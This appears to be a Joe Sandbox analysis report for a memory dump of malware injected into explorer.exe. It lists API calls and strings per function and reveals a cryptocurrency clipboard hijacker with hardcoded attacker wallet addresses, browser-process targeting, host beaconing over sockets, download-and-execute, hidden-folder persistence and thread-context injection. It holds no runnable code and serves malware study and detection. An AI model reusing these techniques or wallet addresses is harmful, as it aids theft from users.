Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B737C
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B739A
Part of subcall function 0C5B72C0: wsprintfA.USER32 ref: 0C5B73B2
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B73C6
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B73DA
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7416
Part of subcall function 0C5B72C0: WSAStartup.WS2_32 ref: 0C5B7426
Part of subcall function 0C5B72C0: socket.WS2_32 ref: 0C5B7442
Part of subcall function 0C5B72C0: gethostbyname.WS2_32 ref: 0C5B7459
Part of subcall function 0C5B72C0: memcpy.MSVCRT ref: 0C5B7479
Part of subcall function 0C5B72C0: htons.WS2_32 ref: 0C5B7488
Part of subcall function 0C5B72C0: connect.WS2_32 ref: 0C5B749F
Part of subcall function 0C5B72C0: lstrlenA.KERNEL32 ref: 0C5B74B5
Part of subcall function 0C5B72C0: send.WS2_32 ref: 0C5B74CB

PathFindFileNameA.SHLWAPI ref: 0C5C53F1
GetTempPathA.KERNEL32 ref: 0C5C540F
GetTempFileNameA.KERNEL32 ref: 0C5C5425
lstrcatA.KERNEL32 ref: 0C5C5435
lstrcatA.KERNEL32 ref: 0C5C5441
CreateFileA.KERNEL32 ref: 0C5C546A
WriteFile.KERNEL32 ref: 0C5C548F
free.MSVCRT ref: 0C5C549E
CloseHandle.KERNEL32 ref: 0C5C54A7
ShellExecuteA.SHELL32 ref: 0C5C54D5
CloseHandle.KERNEL32 ref: 0C5C54E4
free.MSVCRT ref: 0C5C54EF

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$File$CloseHandleNamePathTempfreelstrlen$CrackCreateExecuteFindInternetShellStartupWriteconnectgethostbynamehtonslstrcpymemcpysendsocketwsprintf
String ID:
API String ID: 3619236930-0
Opcode ID: a668e62465058b6eac2f01fffd8541a1e6a56c3d9c826fa02c0f0837f1c26c0a
Instruction ID: bc25c541f270890cc2ceb739354717869498c809c860b0fd9e73692ad3362f42
Opcode Fuzzy Hash: a668e62465058b6eac2f01fffd8541a1e6a56c3d9c826fa02c0f0837f1c26c0a
Instruction Fuzzy Hash: F851D63A701A408AFB24CFA6EC9479E77A0F788789F844129DE8907B58DF7CD185CB40

Function 0C5C5630 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 0C5C56E9
GetComputerNameW.KERNEL32 ref: 0C5C5703

Part of subcall function 0C5BF560: WideCharToMultiByte.KERNEL32 ref: 0C5BF5A3

GetNativeSystemInfo.KERNEL32 ref: 0C5C572C
GetVersionExA.KERNEL32 ref: 0C5C573D
wsprintfA.USER32 ref: 0C5C578D

Part of subcall function 0C5B9450: EnterCriticalSection.KERNEL32 ref: 0C5B9498
Part of subcall function 0C5B9450: RtlInitializeCriticalSection.NTDLL ref: 0C5B94A5
Part of subcall function 0C5B9450: lstrcpyA.KERNEL32 ref: 0C5B94DA
Part of subcall function 0C5B9450: lstrcpyA.KERNEL32 ref: 0C5B94FD
Part of subcall function 0C5B9450: lstrcatA.KERNEL32 ref: 0C5B950D
Part of subcall function 0C5B9450: lstrcatA.KERNEL32 ref: 0C5B951D
Part of subcall function 0C5B9450: LeaveCriticalSection.KERNEL32 ref: 0C5B95A4
Part of subcall function 0C5B9450: memcpy.MSVCRT ref: 0C5B95BC
Part of subcall function 0C5B9450: lstrlenA.KERNEL32 ref: 0C5B95CA

free.MSVCRT ref: 0C5C57A1

Strings

2.3, xrefs: 0C5C5776

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalSection$Namelstrcatlstrcpy$ByteCharComputerEnterInfoInitializeLeaveMultiNativeSystemUserVersionWidefreelstrlenmemcpywsprintf
String ID: 2.3
API String ID: 2800961625-1819902166
Opcode ID: 0cf1b661a9e572ba99184e872496b265aba7dcb0d01acf1847b2168f35ee4b3f
Instruction ID: fdc92f6b0b7712e225fe10a42216687e1c7aa500aa9c5027fba140253e143d12
Opcode Fuzzy Hash: 0cf1b661a9e572ba99184e872496b265aba7dcb0d01acf1847b2168f35ee4b3f
Instruction Fuzzy Hash: 11419236614A81DAE720DF61E8447DEB7A4FBC8788F844119EA4D47A58EFB8D249CB40

Function 0C5B88B0 Relevance: 9.1, APIs: 6, Instructions: 73
memorythreadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0C5B890B
GetCurrentThreadId.KERNEL32 ref: 0C5B8917
HeapAlloc.KERNEL32 ref: 0C5B8941
HeapReAlloc.KERNEL32 ref: 0C5B896A
Thread32Next.KERNEL32 ref: 0C5B89A0
CloseHandle.KERNEL32 ref: 0C5B89B0

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: AllocCurrentHeap$CloseHandleNextProcessThreadThread32
String ID:
API String ID: 3234909527-0
Opcode ID: 9d30fba81285fdc59057156cb5b58ed11897abf2e752fcd5e8ecb8dbce55eb0b
Instruction ID: fb6f89a005feaa2e69f6b32b8a00eda69909a1e233300ad2894a57dd4a516c0c
Opcode Fuzzy Hash: 9d30fba81285fdc59057156cb5b58ed11897abf2e752fcd5e8ecb8dbce55eb0b
Instruction Fuzzy Hash: 9A31CF3A301A41C6EF24CF61E8503A9B7A5F788B98F089229CAAD07798DF3CD144CB41

Function 0C5B7B10 Relevance: 4.6, APIs: 3, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 0C5B7B2C
VirtualAlloc.KERNEL32 ref: 0C5B7BCC
VirtualAlloc.KERNEL32 ref: 0C5B7C1C

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: AllocVirtual$InfoSystem
String ID:
API String ID: 2622297391-0
Opcode ID: 5c5332db2e8d5770b661991db77c6a240e3aaf605af93bd03188a44620211507
Instruction ID: db99317f41520ddeac21758de57571d75f8206da55fc085151463387a784d8f2
Opcode Fuzzy Hash: 5c5332db2e8d5770b661991db77c6a240e3aaf605af93bd03188a44620211507
Instruction Fuzzy Hash: 16317C39306B4485EF159F12E4143AAAAA1F78CFC4F184639DE4D2BB18FF38D1818B50

Function 0C5CB510 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 101
stringthreadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 0C5CB553
PathFindFileNameA.SHLWAPI ref: 0C5CB55E
lstrcmpiA.KERNEL32 ref: 0C5CB571
CreateThread.KERNEL32 ref: 0C5CB5AD
lstrcmpiA.KERNEL32 ref: 0C5CB5C7
lstrcmpiA.KERNEL32 ref: 0C5CB5E5
lstrcmpiA.KERNEL32 ref: 0C5CB605
lstrcmpiA.KERNEL32 ref: 0C5CB628
lstrcmpiA.KERNEL32 ref: 0C5CB64B
lstrcmpiA.KERNEL32 ref: 0C5CB66E

Part of subcall function 0C5CB4C0: CreateMutexA.KERNEL32 ref: 0C5CB4D0
Part of subcall function 0C5CB4C0: CloseHandle.KERNEL32 ref: 0C5CB4E0

CreateThread.KERNEL32 ref: 0C5CB6A4

Strings

brave.exe, xrefs: 0C5CB641
rbNSpGEsyb, xrefs: 0C5CB57D
firefox.exe, xrefs: 0C5CB5BD
chrome.exe, xrefs: 0C5CB5DB
browser.exe, xrefs: 0C5CB664
msedge.exe, xrefs: 0C5CB5FB
opera.exe, xrefs: 0C5CB61E
explorer.exe, xrefs: 0C5CB564

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$Create$FileNameThread$CloseFindHandleModuleMutexPath
String ID: brave.exe$browser.exe$chrome.exe$explorer.exe$firefox.exe$msedge.exe$opera.exe$rbNSpGEsyb
API String ID: 936357808-3480109235
Opcode ID: f7cf14adc41ef2d6049861a487dbb5f7d1ae2d597757e346ce2c378721cb9d1f
Instruction ID: 5ccd4232f6cce00cd3d3c6464160045725904a75e360b2dca929e991af49d83d
Opcode Fuzzy Hash: f7cf14adc41ef2d6049861a487dbb5f7d1ae2d597757e346ce2c378721cb9d1f
Instruction Fuzzy Hash: D8419278300E06C6FB58EBA2EC91BDA67A5FBC4785F84022DC94A46294EF7CD1C9C751

Function 0C5BF3C0 Relevance: 16.6, APIs: 11, Instructions: 112
memoryfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 0C5BF3F4
GetFileSize.KERNEL32 ref: 0C5BF427
GetProcessHeap.KERNEL32 ref: 0C5BF430
HeapAlloc.KERNEL32 ref: 0C5BF441
ReadFile.KERNEL32 ref: 0C5BF465
GetProcessHeap.KERNEL32 ref: 0C5BF479
HeapFree.KERNEL32 ref: 0C5BF487
CloseHandle.KERNEL32 ref: 0C5BF490

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 3250796435-0
Opcode ID: 1ee118f475dfd9e3824291b507a5fd58fdba464822c7a7cac7f7b7c0e7c40d99
Instruction ID: 2339568f5c3831a36acb11e295c5e6dc270c59b838df38834a14e2e85bb449c6
Opcode Fuzzy Hash: 1ee118f475dfd9e3824291b507a5fd58fdba464822c7a7cac7f7b7c0e7c40d99
Instruction Fuzzy Hash: 64419D3A301B4187EB54CF66AC44BAABBA4F788B95F444229CE8E53794EF3CD1858710

Function 0C5BF170 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 53
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0C5BF040: GetWindowsDirectoryW.KERNEL32 ref: 0C5BF093
Part of subcall function 0C5BF040: GetVolumeInformationW.KERNEL32 ref: 0C5BF0E2
Part of subcall function 0C5BF040: wsprintfW.USER32 ref: 0C5BF144

SHGetFolderPathW.SHELL32 ref: 0C5BF1D5
lstrcatW.KERNEL32 ref: 0C5BF1E5
lstrcatW.KERNEL32 ref: 0C5BF1F3
CreateDirectoryW.KERNEL32 ref: 0C5BF1FE
SetFileAttributesW.KERNEL32 ref: 0C5BF20C
lstrcatW.KERNEL32 ref: 0C5BF21C
lstrcatW.KERNEL32 ref: 0C5BF22A
lstrcatW.KERNEL32 ref: 0C5BF23A

Strings

.exe, xrefs: 0C5BF230

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 9d3ebb07f5aa5fbae722cfafc00fbd7fa1908fcf8a91481529766271def0b629
Instruction ID: fa801d6def361225a253d9d75c50353d4a78138f11c194f9e69e56cc6ea5da44
Opcode Fuzzy Hash: 9d3ebb07f5aa5fbae722cfafc00fbd7fa1908fcf8a91481529766271def0b629
Instruction Fuzzy Hash: C421657A318F0286EB98DF61FC18B4933A0F789742F412235DA8E87354EE78C249CB10

Function 0C5BF260 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 48
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0C5BEF20: GetWindowsDirectoryA.KERNEL32 ref: 0C5BEF6C
Part of subcall function 0C5BEF20: GetVolumeInformationA.KERNEL32 ref: 0C5BEFB6
Part of subcall function 0C5BEF20: wsprintfA.USER32 ref: 0C5BF017

SHGetFolderPathA.SHELL32 ref: 0C5BF2B3
lstrcatA.KERNEL32 ref: 0C5BF2C3
lstrcatA.KERNEL32 ref: 0C5BF2D1
CreateDirectoryA.KERNEL32 ref: 0C5BF2DC
SetFileAttributesA.KERNEL32 ref: 0C5BF2EA
lstrcatA.KERNEL32 ref: 0C5BF2FA
lstrcatA.KERNEL32 ref: 0C5BF308
lstrcatA.KERNEL32 ref: 0C5BF318

Strings

.exe, xrefs: 0C5BF30E

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 2816d621a84a5ae1f8ef81d4d8d11842e33c2e50ab7633ac5655931446d6be67
Instruction ID: 6ab62651714fa8564f7d09259326e1d6b95b578dc63d83e51724a9ecf2353d29
Opcode Fuzzy Hash: 2816d621a84a5ae1f8ef81d4d8d11842e33c2e50ab7633ac5655931446d6be67
Instruction Fuzzy Hash: C2115C39215F4681EB88DF21FC54B5A73A1F7C9782F442125E98B07768DEBCD2888B00

Function 0C5C7600 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 332
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0C5C7BB0: OpenClipboard.USER32 ref: 0C5C7BC1
Part of subcall function 0C5C7BB0: GetClipboardData.USER32 ref: 0C5C7BD3
Part of subcall function 0C5C7BB0: GlobalLock.KERNEL32 ref: 0C5C7BE4
Part of subcall function 0C5C7BB0: GlobalUnlock.KERNEL32 ref: 0C5C7BF5
Part of subcall function 0C5C7BB0: CloseClipboard.USER32 ref: 0C5C7BFB

Part of subcall function 0C5C7DA0: GlobalAlloc.KERNEL32 ref: 0C5C7DC8
Part of subcall function 0C5C7DA0: GlobalLock.KERNEL32 ref: 0C5C7DDF
Part of subcall function 0C5C7DA0: GlobalUnlock.KERNEL32 ref: 0C5C7DF7
Part of subcall function 0C5C7DA0: OpenClipboard.USER32 ref: 0C5C7DFF
Part of subcall function 0C5C7DA0: EmptyClipboard.USER32 ref: 0C5C7E05
Part of subcall function 0C5C7DA0: SetClipboardData.USER32 ref: 0C5C7E13
Part of subcall function 0C5C7DA0: CloseClipboard.USER32 ref: 0C5C7E19

Sleep.KERNEL32 ref: 0C5C7B60

Strings

rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv, xrefs: 0C5C79D4
0xe082eae973143a32d82db061b6c8885ceba72b87, xrefs: 0C5C76FA
XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH, xrefs: 0C5C7AF8
bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze, xrefs: 0C5C78B0
LNYd8g8WfirJtTvQuhrEZ5BD9hua18kaVK, xrefs: 0C5C781E
DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5, xrefs: 0C5C7A66
TMjbm61ctPtZqDVxeZHgXRw4Tq8gzZo9Jq, xrefs: 0C5C778C
1BZS1JgAFe13aBqMdLZS2eN31NtpYQA6y6, xrefs: 0C5C7668
addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0, xrefs: 0C5C7942

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptySleep
String ID: 0xe082eae973143a32d82db061b6c8885ceba72b87$1BZS1JgAFe13aBqMdLZS2eN31NtpYQA6y6$DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5$LNYd8g8WfirJtTvQuhrEZ5BD9hua18kaVK$TMjbm61ctPtZqDVxeZHgXRw4Tq8gzZo9Jq$XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH$addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0$bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze$rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv
API String ID: 2992153386-2300265441
Opcode ID: 8e4e17695470107b2ba372250f8e9ef4e484432434335ec0eec681aa2f322b34
Instruction ID: 316ceb6546ed88d6b8233d5ff54b6acfc75db92d2e743bc32306230694860017
Opcode Fuzzy Hash: 8e4e17695470107b2ba372250f8e9ef4e484432434335ec0eec681aa2f322b34
Instruction Fuzzy Hash: F4D12E79711A47E8DF40EFB1D8A46DC6765B7A97CCF8041268A0EABE58EF24C20DC750

Function 0C5C51B0 Relevance: 10.6, APIs: 7, Instructions: 65
stringsleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32 ref: 0C5C520F

Part of subcall function 0C5B9450: EnterCriticalSection.KERNEL32 ref: 0C5B9498
Part of subcall function 0C5B9450: RtlInitializeCriticalSection.NTDLL ref: 0C5B94A5
Part of subcall function 0C5B9450: lstrcpyA.KERNEL32 ref: 0C5B94DA
Part of subcall function 0C5B9450: lstrcpyA.KERNEL32 ref: 0C5B94FD
Part of subcall function 0C5B9450: lstrcatA.KERNEL32 ref: 0C5B950D
Part of subcall function 0C5B9450: lstrcatA.KERNEL32 ref: 0C5B951D
Part of subcall function 0C5B9450: LeaveCriticalSection.KERNEL32 ref: 0C5B95A4
Part of subcall function 0C5B9450: memcpy.MSVCRT ref: 0C5B95BC
Part of subcall function 0C5B9450: lstrlenA.KERNEL32 ref: 0C5B95CA

lstrcmp.KERNEL32 ref: 0C5C5236
free.MSVCRT ref: 0C5C52AA
Sleep.KERNEL32 ref: 0C5C52B5

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalSectionlstrcpy$lstrcat$EnterInitializeLeaveSleepfreelstrcmplstrlenmemcpy
String ID:
API String ID: 4292776791-0
Opcode ID: 75ac25dd9946c4d92c84f3cffdd0c1f7501749257139f8378ce49bbffedee2f2
Instruction ID: 1793ebc4222a79b6845cc30332b4a16fc0ab9440a88840d24d1f2849ccb342a7
Opcode Fuzzy Hash: 75ac25dd9946c4d92c84f3cffdd0c1f7501749257139f8378ce49bbffedee2f2
Instruction Fuzzy Hash: 3D215E39306F45C9EB189B91AC4035AB7E5FBC8B85F884228DA8947B59EF3CE1458740

Function 0C5BF040 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 0C5BF093
GetVolumeInformationW.KERNEL32 ref: 0C5BF0E2
wsprintfW.USER32 ref: 0C5BF144

Strings

:, xrefs: 0C5BF0D0
%08lX%04lX%lu, xrefs: 0C5BF136

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu$:
API String ID: 3001812590-1109288774
Opcode ID: 411c505c976d07ca4e508087cf72aac4fb374047555851578b32677912350526
Instruction ID: 455a0ddb25ca7b8b2a440f878562f739b4d51059291a84ad8ffb57464092244b
Opcode Fuzzy Hash: 411c505c976d07ca4e508087cf72aac4fb374047555851578b32677912350526
Instruction Fuzzy Hash: 55313E7A218A84CAD710CFA5E84079EB7B4FBD9344F901519E78D83A28EB7DC545CF10

Function 0C5BEF20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32 ref: 0C5BEF6C
GetVolumeInformationA.KERNEL32 ref: 0C5BEFB6
wsprintfA.USER32 ref: 0C5BF017

Strings

%08lX%04lX%lu, xrefs: 0C5BF009
:\, xrefs: 0C5BEFA6

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu$:\
API String ID: 3001812590-790759568
Opcode ID: 5ed45928ed50404ec2b14fc3e929ae0aae8473c83614c336ee3b735911644cf0
Instruction ID: 5ccd9d0e6eee638ec52209eac14ea3a3309231ee3692815a1a6d71b1208a71b4
Opcode Fuzzy Hash: 5ed45928ed50404ec2b14fc3e929ae0aae8473c83614c336ee3b735911644cf0
Instruction Fuzzy Hash: 2A310B36218B84CAD710CF69E85078EBBA5FBD9344F94051AEBC983A68DB7CC559CB10

Function 0C5B8FE0 Relevance: 6.0, APIs: 4, Instructions: 34
threadmemoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenThread.KERNEL32 ref: 0C5B900C
ResumeThread.KERNEL32 ref: 0C5B901D
CloseHandle.KERNEL32 ref: 0C5B9026
HeapFree.KERNEL32 ref: 0C5B9044

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseFreeHandleHeapOpenResume
String ID:
API String ID: 993137029-0
Opcode ID: e25ee50e6b7928a534a906f02fdffc1d88cf6472f37a49b8be206883a26650b7
Instruction ID: 2e47b0c39df531933ec133c80b32be3d7aeb2e1a54df651998aa13982377b162
Opcode Fuzzy Hash: e25ee50e6b7928a534a906f02fdffc1d88cf6472f37a49b8be206883a26650b7
Instruction Fuzzy Hash: 7F01AD3A616A44C2EB08CB62E89075D7331FB88BC1F588129CB0A03754DF3AE192C700

Function 0C5CB4C0 Relevance: 6.0, APIs: 4, Instructions: 24synchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 0C5CB4D0
CloseHandle.KERNEL32 ref: 0C5CB4E0
GetLastError.KERNEL32 ref: 0C5CB4EE
CloseHandle.KERNEL32 ref: 0C5CB4FE

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID:
API String ID: 2372642624-0
Opcode ID: 8f504c70640b8139afa37010149633b7eeaab020a9773121f4371d5cf0b4a091
Instruction ID: 133884ce5d9ec3830b2796236434f7f20a34b49e26735f5320effcee32bdfa5d
Opcode Fuzzy Hash: 8f504c70640b8139afa37010149633b7eeaab020a9773121f4371d5cf0b4a091
Instruction Fuzzy Hash: 51E08678716B4083FF6E57B26C96B691361AB9C742F841528C80A45390EE6D97D99300

Function 0C5B8750 Relevance: 4.6, APIs: 3, Instructions: 73memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 0C5B879A
VirtualProtect.KERNEL32 ref: 0C5B8803
FlushInstructionCache.KERNEL32 ref: 0C5B8818

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$CacheFlushInstruction
String ID:
API String ID: 882653843-0
Opcode ID: 8a2ad72f8d84fa7d77685e25d36ebd332a7d8edca8835b01ae53de9ad63f65cc
Instruction ID: 9f23e4e1071b8a65e650a7072e4a71bed8477f39d951be682d184cbeb8b7485b
Opcode Fuzzy Hash: 8a2ad72f8d84fa7d77685e25d36ebd332a7d8edca8835b01ae53de9ad63f65cc
Instruction Fuzzy Hash: 9031DDBB208AC086D7298F36E9003AD7F60F746F88F085216EF994B78ACB6DD451C714

Function 0C5C5520 Relevance: 4.6, APIs: 3, Instructions: 55fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0C5C52C0: lstrlenA.KERNEL32 ref: 0C5C5362
Part of subcall function 0C5C52C0: InternetCrackUrlA.WININET ref: 0C5C5377
Part of subcall function 0C5C52C0: PathFindFileNameA.SHLWAPI ref: 0C5C53F1
Part of subcall function 0C5C52C0: GetTempPathA.KERNEL32 ref: 0C5C540F
Part of subcall function 0C5C52C0: GetTempFileNameA.KERNEL32 ref: 0C5C5425
Part of subcall function 0C5C52C0: lstrcatA.KERNEL32 ref: 0C5C5435
Part of subcall function 0C5C52C0: lstrcatA.KERNEL32 ref: 0C5C5441
Part of subcall function 0C5C52C0: CreateFileA.KERNEL32 ref: 0C5C546A

Part of subcall function 0C5BF260: SHGetFolderPathA.SHELL32 ref: 0C5BF2B3
Part of subcall function 0C5BF260: lstrcatA.KERNEL32 ref: 0C5BF2C3
Part of subcall function 0C5BF260: lstrcatA.KERNEL32 ref: 0C5BF2D1
Part of subcall function 0C5BF260: CreateDirectoryA.KERNEL32 ref: 0C5BF2DC
Part of subcall function 0C5BF260: SetFileAttributesA.KERNEL32 ref: 0C5BF2EA
Part of subcall function 0C5BF260: lstrcatA.KERNEL32 ref: 0C5BF2FA
Part of subcall function 0C5BF260: lstrcatA.KERNEL32 ref: 0C5BF308
Part of subcall function 0C5BF260: lstrcatA.KERNEL32 ref: 0C5BF318

DeleteFileA.KERNEL32 ref: 0C5C55B0
CopyFileA.KERNEL32 ref: 0C5C55C6
SetFileAttributesA.KERNEL32 ref: 0C5C55D9

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Filelstrcat$Path$AttributesCreateNameTemp$CopyCrackDeleteDirectoryFindFolderInternetlstrlen
String ID:
API String ID: 3447680573-0
Opcode ID: a0b9cef46a3a1d6777439f3854ecd079da23229d2f9189709319ddcc125878ba
Instruction ID: e7c17bd6092bbc38e57be580b8f7299cde4342b27f68620283f8b8fa8e22f9d9
Opcode Fuzzy Hash: a0b9cef46a3a1d6777439f3854ecd079da23229d2f9189709319ddcc125878ba
Instruction Fuzzy Hash: B821933932898699FB34D7A5E8A47DEA391FBDD748FC00114C98D46948EFACD349DB00

Function 0C5B8AA0 Relevance: 4.5, APIs: 3, Instructions: 45threadinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0C5B88B0: GetCurrentProcessId.KERNEL32 ref: 0C5B890B
Part of subcall function 0C5B88B0: GetCurrentThreadId.KERNEL32 ref: 0C5B8917
Part of subcall function 0C5B88B0: HeapAlloc.KERNEL32 ref: 0C5B8941
Part of subcall function 0C5B88B0: Thread32Next.KERNEL32 ref: 0C5B89A0
Part of subcall function 0C5B88B0: CloseHandle.KERNEL32 ref: 0C5B89B0

OpenThread.KERNEL32 ref: 0C5B8AEE
SuspendThread.KERNEL32 ref: 0C5B8AFF

Part of subcall function 0C5B8EA0: GetThreadContext.KERNEL32 ref: 0C5B8ED4
Part of subcall function 0C5B8EA0: SetThreadContext.KERNEL32 ref: 0C5B8F94

CloseHandle.KERNEL32 ref: 0C5B8B16

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseContextCurrentHandle$AllocHeapNextOpenProcessSuspendThread32
String ID:
API String ID: 4205413918-0
